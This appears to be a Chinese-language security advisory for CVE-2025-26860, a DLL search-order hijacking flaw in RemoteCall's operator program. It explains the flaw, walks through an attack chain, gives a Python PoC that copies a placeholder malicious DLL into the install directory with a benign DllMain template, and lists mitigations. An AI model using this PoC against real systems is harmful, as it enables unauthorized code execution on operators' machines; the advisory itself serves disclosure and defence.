IPBUF安全漏洞报告
English
CVE-2025-26860 CVSS 7.8 高危

CVE-2025-26860:RemoteCall远程支持程序DLL劫持漏洞

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-26860
漏洞类型
DLL劫持(不受控搜索路径元素)
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
RemoteCall Remote Support Program (for Operator)

相关标签

DLL劫持不受控搜索路径远程代码执行本地提权RemoteCall远程支持软件WindowsCWE-426CWE-427高危漏洞

漏洞概述

CVE-2025-26860是RemoteCall远程支持程序(操作员版)中存在的一个高危安全漏洞,属于不受控搜索路径元素(Uncontrolled Search Path Element)漏洞类型。该漏洞影响5.1.0之前的所有版本,CVSS评分为7.8分,严重等级为HIGH。

RemoteCall是一款广泛使用的远程支持软件,允许操作员远程连接并协助用户解决技术问题。由于该软件在加载动态链接库(DLL)时未对搜索路径进行严格的验证和控制,攻击者可以通过在软件所在目录中放置一个精心构造的恶意DLL文件来实施攻击。当操作员启动RemoteCall程序时,程序会优先加载同目录下的恶意DLL而非系统目录中的合法DLL,从而导致任意代码执行。

该漏洞的CVSS向量为CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H,表明该漏洞为本地攻击向量,无需特殊权限即可利用,但需要用户交互(如打开软件所在目录或运行程序)。一旦成功利用,攻击者可以在受害者的系统上以操作员权限执行任意代码,对系统的机密性、完整性和可用性均造成严重影响。该漏洞由JPCERT/CC的vultures团队发现并报告,披露日期为2025年10月15日。

技术细节

该漏洞的核心原理是Windows DLL搜索顺序劫持(DLL Search Order Hijacking)。在Windows操作系统中,当应用程序通过LoadLibrary()或类似API加载DLL时,系统会按照特定的搜索顺序查找DLL文件。默认的搜索顺序包括:应用程序所在目录、系统目录、Windows目录、当前工作目录以及PATH环境变量中列出的目录。

RemoteCall远程支持程序在加载某些关键DLL时,未使用绝对路径,而是依赖Windows的默认DLL搜索机制。攻击者可以利用这一缺陷实施攻击:

1. 攻击者首先获取对目标系统上RemoteCall安装目录的写入权限(例如通过社会工程学、共享文件夹或其他途径)。
2. 攻击者创建一个与RemoteCall正常加载的某个系统DLL同名的恶意DLL文件(如kernel32.dll的某个依赖库)。
3. 将该恶意DLL放置在RemoteCall的可执行文件所在目录中。
4. 当操作员启动RemoteCall程序时,由于应用程序目录在DLL搜索顺序中具有最高优先级,恶意DLL将被优先加载并执行。
5. 恶意DLL中的代码以RemoteCall进程的权限运行,攻击者从而获得在目标系统上执行任意代码的能力。

此漏洞的利用需要用户交互(UI:R),因为需要用户主动启动RemoteCall程序。攻击向量为本地(AV:L),意味着攻击者需要在目标系统上有一定的初始访问权限。虽然认证要求为无需认证(PR:N),但实际上攻击者需要能够将文件放置到目标系统的特定目录中,这通常需要某种形式的本地访问或社会工程学配合。

攻击链分析

STEP 1
步骤1:侦察与准备
攻击者识别目标系统上安装的RemoteCall远程支持程序版本(5.1.0之前),并确定其安装目录路径。通过社会工程学、钓鱼邮件或物理访问等方式,获取将文件放置到目标系统RemoteCall安装目录的能力。
STEP 2
步骤2:制作恶意DLL
攻击者分析RemoteCall程序加载的DLL依赖关系,确定一个不通过绝对路径加载的关键DLL。然后创建一个同名的恶意DLL文件,包含恶意代码(如反弹shell、持久化后门或数据窃取模块),同时保持与原DLL兼容的导出函数接口。
STEP 3
步骤3:部署恶意DLL
攻击者将精心构造的恶意DLL文件放置到RemoteCall的可执行文件所在目录中。由于Windows的DLL搜索顺序优先搜索应用程序所在目录,恶意DLL将覆盖系统目录中的合法DLL。
STEP 4
步骤4:触发加载
等待或诱导操作员启动RemoteCall程序。当程序启动时,由于不受控搜索路径漏洞,恶意DLL被优先加载,DllMain函数中的恶意代码以RemoteCall进程的权限执行。
STEP 5
步骤5:权限提升与持久化
恶意代码以RemoteCall进程的权限运行,攻击者可以在系统上执行任意操作,包括安装持久化后门、窃取敏感数据、横向移动到其他系统,或利用RemoteCall的远程支持功能进一步控制其他客户端。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-26860 - RemoteCall DLL Hijacking PoC # This PoC demonstrates the DLL search order hijacking vulnerability # in RemoteCall Remote Support Program versions prior to 5.1.0 import os import shutil import ctypes from ctypes import wintypes # Target DLL name that RemoteCall loads without full path verification # Replace with the actual DLL name exploited in the vulnerable version TARGET_DLL = "version.dll" # Example: commonly hijacked DLL # RemoteCall installation directory (typical path) REMOTECALL_DIR = r"C:\Program Files\RemoteCall\" REMOTECALL_EXE = os.path.join(REMOTECALL_DIR, "RemoteCall.exe") # Malicious DLL source (pre-compiled payload DLL) MALICIOUS_DLL_SOURCE = "evil_version.dll" def check_environment(): """Verify that RemoteCall is installed and we have write access""" if not os.path.exists(REMOTECALL_DIR): print(f"[ERROR] RemoteCall directory not found: {REMOTECALL_DIR}") return False if not os.path.exists(REMOTECALL_EXE): print(f"[ERROR] RemoteCall executable not found: {REMOTECALL_EXE}") return False # Check write permission to RemoteCall directory test_file = os.path.join(REMOTECALL_DIR, "test_write.tmp") try: with open(test_file, 'w') as f: f.write("test") os.remove(test_file) print("[INFO] Write access confirmed to RemoteCall directory") return True except PermissionError: print("[ERROR] No write access to RemoteCall directory") return False def deploy_malicious_dll(): """Deploy the malicious DLL to RemoteCall's directory""" target_path = os.path.join(REMOTECALL_DIR, TARGET_DLL) # Backup original DLL if it exists if os.path.exists(target_path): backup_path = target_path + ".bak" shutil.copy2(target_path, backup_path) print(f"[INFO] Original DLL backed up to: {backup_path}") # Copy malicious DLL to target location if os.path.exists(MALICIOUS_DLL_SOURCE): shutil.copy2(MALICIOUS_DLL_SOURCE, target_path) print(f"[SUCCESS] Malicious DLL deployed: {target_path}") print("[INFO] When RemoteCall.exe is launched, the malicious DLL") print(" will be loaded instead of the legitimate one,") print(" executing arbitrary code in the RemoteCall process context.") return True else: print(f"[ERROR] Malicious DLL source not found: {MALICIOUS_DLL_SOURCE}") return False def cleanup(): """Remove the malicious DLL and restore original""" target_path = os.path.join(REMOTECALL_DIR, TARGET_DLL) backup_path = target_path + ".bak" if os.path.exists(target_path): os.remove(target_path) print(f"[INFO] Malicious DLL removed: {target_path}") if os.path.exists(backup_path): shutil.move(backup_path, target_path) print(f"[INFO] Original DLL restored: {target_path}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-26860 PoC - RemoteCall DLL Hijacking") print("=" * 60) if check_environment(): try: if deploy_malicious_dll(): print("\n[READY] Malicious DLL is in place.") print("[WAITING] RemoteCall.exe must be launched by the operator") print(" to trigger the code execution.") except Exception as e: print(f"[ERROR] Exploit failed: {e}") cleanup() # Uncomment cleanup() to restore original state after testing # cleanup() # --- C/C++ Malicious DLL Template (evil_version.cpp) --- /* #include <windows.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) { switch (reason) { case DLL_PROCESS_ATTACH: // Arbitrary code execution when DLL is loaded // This runs in the context of RemoteCall.exe MessageBoxA(NULL, "Pwned by CVE-2025-26860", "DLL Hijacked", MB_OK); // Execute payload here (reverse shell, persistence, etc.) break; case DLL_PROCESS_DETACH: break; } return TRUE; } */

影响范围

RemoteCall Remote Support Program (for Operator) < 5.1.0

防御指南

临时缓解措施
在无法立即升级到5.1.0版本的情况下,建议采取以下临时缓解措施: 1. 限制RemoteCall安装目录的写入权限,确保只有系统管理员才能修改该目录下的文件。 2. 启用Windows DLL安全搜索模式(SafeDLLSearchMode),编辑注册表项 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager,将 SafeDllSearchMode 值设置为 1。 3. 部署文件完整性监控(FIM)工具,实时监控RemoteCall目录下的文件变更。 4. 使用应用程序控制策略(如AppLocker)阻止未知来源的DLL在RemoteCall进程中加载。 5. 定期扫描RemoteCall安装目录,检查是否存在异常的DLL文件(特别是与系统DLL同名的文件)。 6. 提高用户安全意识,避免在不可信环境中运行RemoteCall程序。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表